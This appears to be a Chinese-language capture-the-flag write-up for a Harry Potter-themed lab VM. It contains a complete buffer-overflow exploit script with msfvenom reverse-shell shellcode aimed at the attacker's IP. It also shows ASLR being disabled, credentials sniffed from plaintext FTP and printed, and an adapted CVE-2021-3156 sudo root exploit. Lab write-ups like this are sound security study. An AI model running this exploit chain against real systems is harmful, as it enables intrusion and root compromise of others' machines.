难度 高
目标 2个root 3个flag
当我看到这种类型我就知道肯定是docker系列的连锁环境了
netdiscover -i eth0 -r 192.168.189.0/24
kali 192.168.189.58 靶机 192.168.189.69
扫描一下开放的端口和服务识别
应该是存在ftp 的匿名访问,然后还有一个monkeycom?好奇怪的服务在网上找了一下好像是很老的服务都没有什么相关的介绍,另外有两个ssh我估计使用其中有docker服务的ssh端口被映射出来了
ftp 192.168.189.69
ftp>get server_hogwarts
匿名访问到发ftp目录下面有一个文件,下载查看使用elf的文件
顺便访问一下这个web服务,ftp匿名访问也没找到什么利用方式,除了可以上传文件?
尝试运行了一下这个server的文件,发现他会开启一个9889的端口,估计可能和靶机上面的9898端口有关系,还有这个nmap扫描出来的结果
有点抽象,不知道在玩什么名堂
访问网站就一张哈利波特的图片
扫了一下目录没有扫出东西来?只剩下ssh端口爆破没有尝试了,ssh弱口令我是认为希望不大的,没什么思路了,看一下wp
看了一眼。。。原来是要nc访问9898,我就说怎么找不到输入命令的地方,看前面的这个翻译就像是交互的shell一样
现在本地启动一下这个服务
nc 127.0.0.1 9898 连接一下
发现真就是在对话没有其他的功能点了。
wp中说是缓存区溢出漏洞,本来有点打算换一个靶机打的,不过最近正好有学习一些免杀的知识同时也接触了汇编刚好看得懂一点这种反汇编的内容
因为kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致无法确定缓冲区溢出的位置。所以需要先把这个关闭
cd /proc/sys/kernel
echo 0 > randomize_va_space
值为2是开启,值为0为关闭
然后启动server_的服务,然后打开这个edb程序,在file 选择attack找到server_,这个server_要用kali的用户启动,否则edb还打不开没权限
再点击上面那个run
然后就可以使用nc来连接了
为了测试缓存区溢出可以使用命令生成500个A,然后输入这500个A来测试
python -c "print('A'*500)"
输入500个A然后程序报错了
点击ok后eip被覆盖为了41414141
EIP寄存器存储的是下一个指令的内存地址(可以理解为调试工具需要根据EIP才知道下一个调试的指令),而ESP存储器存储的是是的具体指令,
攻击思路,可以使eip的值实现jmp跳转到esp空间,然后esp中填充我们的恶意shellcode
接下里是确定溢出的位置
首先使用一个msf的小脚本进行生成各不相同的字符
msf-pattern_create -l 500
然后拿得到的字符再次去输入(重启一下这个server_)
此时的报错变成了0x064413764,这个位置很有可能就是溢出的位置
然后使用另一个msf小脚本进行计算一下这个溢出的位置也就是偏移值是多少
msf-pattern_offset -l 500 -q 64413764
也就是从113开始后面4个就是写入到eip的值
为了验证可以使用一个输入112个A加4个B然后加一堆C
0x42就是B,eip的位置被B覆盖了,而esp全是C,这可以证明溢出位置就是B所在的地方
找到了溢出的位置这个时候就需要寻找一个跳转esp的指令,也就是 jmp esp这样的指令找到对应的内存地址,然后让eip写入这个内存地址这样就可以实现下一步跳到esp,而esp的空间保存了很多的C,这部分空间可以用来写入反弹shell的16进制shellcode用来反弹shell
在重新加载程序后,使用插件plugins中的Opcodesearcher里的Opcode search
然后选择esp->eip 即esp的内存地址做为eip的值 然后左边选择 r-x 要有x的权限的进程
然后find
可以找到一个jmp esp 的指令
然后记录下这个地址
0x08049d55 但是机器指令是反着读入的,所以在写的时候需要由高位写到低位 \x55\x9d\x04\x08
使用msfvenom生成反弹shell的payload
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.81.58 LPORT=4444 -b "\x00" -f python //这里的-b "\x00" 的作用是去除生成的payload中的\x00 ,这个\x00是终止字符,也被称为坏字节,程序遇到\x00可能会终止,为了防止意外需要将这个去除。 -f 就是格式是python的格式
然后写个套接字tcp连接的python脚本用来发送payload
Python2的脚本
import sys,socket
buf = b""
buf += b"\xbd\xd4\x75\x45\x10\xdb\xc1\xd9\x74\x24\xf4\x58"
buf += b"\x33\xc9\xb1\x12\x31\x68\x12\x83\xc0\x04\x03\xbc"
buf += b"\x7b\xa7\xe5\x0d\x5f\xd0\xe5\x3e\x1c\x4c\x80\xc2"
buf += b"\x2b\x93\xe4\xa4\xe6\xd4\x96\x71\x49\xeb\x55\x01"
buf += b"\xe0\x6d\x9f\x69\x33\x25\x0e\x53\xdb\x34\xb1\xb2"
buf += b"\x47\xb0\x50\x04\x11\x92\xc3\x37\x6d\x11\x6d\x56"
buf += b"\x5c\x96\x3f\xf0\x31\xb8\xcc\x68\xa6\xe9\x1d\x0a"
buf += b"\x5f\x7f\x82\x98\xcc\xf6\xa4\xac\xf8\xc5\xa7"
payload = 'A' * 112 + '\x55\x9d\x04\x08' + '\x90' * 32 + buf //这里\x90是nop,程序运行到这里会自动向下走不会有任何的作用,这里添加32的作用是为了提高容错率,防止代码连在一起发生什么意外的错误。
try:
s = socket.socket()
s.connect(('127.0.0.1', 9898))
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()
运行此脚本成功将shell反弹了回来
成功的利用脚本将shell弹回,可以拿到靶机上使用了
kali 192.168.81.58 靶机 192.168.81.69
修改目标地址后运行脚本,成功将shell反弹回来了
为了维持权限建立msf的链接
ls -al / 查看一下目录,发现docker
确定此时在docker容器中
然后查看一下家目录下面有没有什么可以用来提权的有用的信息
发现一个.mycreds.txt
很有可能是ssh密码 HarrYp0tter@Hogwarts123
而且2222端口也是ssh估计就是这个docker的ssh
尝试发现果然是的
然后尝试提权,首先尝试sudo看是否被设置为可以直接切换root的权限
尝试了一下发现可以直接提权到root
有了root权限继续看看他的家里有什么
有一个flag和一个提示,提示说需要我们去分析流量,搞清楚user
这里是命令行所以只能使用比较原始的抓包工具 tcpdump
tcpdump -i eth0 port 21 #这里指定抓21端口的包 ,指定网卡eth0
等待一段时间后抓到了一段数据包
在数据包中可以看到172.17.0.1在向这个的21端口建立ftp的链接,其中用户名和密码明文传输
neville bL!Bsg3k
直接尝试登录ssh
也是直接登录成功了
尝试一下sudo发现要密码提升不了
然后发现第二个魂器
通过msf的自动提权模块发现了两个可以使用的模块
其中一个尝试后发现不行,但是另一个CVE-2021-3156 好像可以但是需要修改点东西
CVE-2021-3156,该漏洞被命名为“Baron Samedit”
影响版本
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2)
看着靶机也都符合漏洞攻击的版本的
然后尝试在github上面寻找其他的相关利用exp
尝试了几个发现页不行,于是观察exp中的内容
exp GitHub - worawit/CVE-2021-3156: Sudo Baron Samedit Exploit
选择exploit_nss.py 脚本使用
查看脚本发现sudo的路径是usr/bin/sudo
但是靶机上面的sudo在usr/local/bin/sudo
估计是作者故意的
修改完后使用nc将脚本传过去
靶机 nc -lvnp 4444 > exp.py
kali nc 192.168.81.69 4444 < exploit_nss.py -w 1 #-w表示传输完后一秒断开连接
执行脚本
成功提权为root
拿到最后一个魂器,最后哈利波特打败了伏地魔
在这次的靶机中学到很多的知识点,首先是缓存区溢出漏洞,虽然这应该是最简单的缓存区溢出漏洞的形式,但是我对这方面基本上没怎么了解过,也是学到了很多。另外就是流量分析,这方面倒是学过很多相关的知识只是也是用的比较少,最后是对于exp的修改,将其修改为符合目标环境的这种能力还有待提高。